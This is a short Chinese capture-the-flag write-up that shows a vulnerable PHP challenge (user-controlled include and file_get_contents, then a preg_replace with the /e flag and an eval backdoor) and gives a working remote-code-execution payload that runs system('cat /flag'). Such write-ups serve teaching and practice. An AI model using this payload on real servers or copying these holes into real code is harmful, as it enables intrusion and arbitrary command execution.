第一部分:
<?phperror_reporting(0);$text = $_GET["text"];$file = $_GET["file"];if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){die("Not now!");}include($file); //next.php}else{highlight_file(__FILE__);}?>
利用伪协议轻松绕过,读取next.php的内容:
<?php$id = $_GET['id'];$_SESSION['id'] = $id;function complex($re, $str) {return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);}foreach($_GET as $re => $str) {echo complex($re, $str). "\n";}function getFlag(){@eval($_GET['cmd']);}
注意到preg_replace中有/e标志,可以执行任意命令。
首先$re可以控制,如果请求链接为:/?.*={${phpinfo()}},匹配语句就变成
preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});
就可以匹配任意字符。但是在PHP中对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,所以需要用/S代替。strtolower("\\1")中的\\1就相当于\1,而在正则表达式中,\1的意思是指定第一个匹配项。
payload:
next.php?\S*=${eval($_POST[a])}post data:a=system('cat /flag');
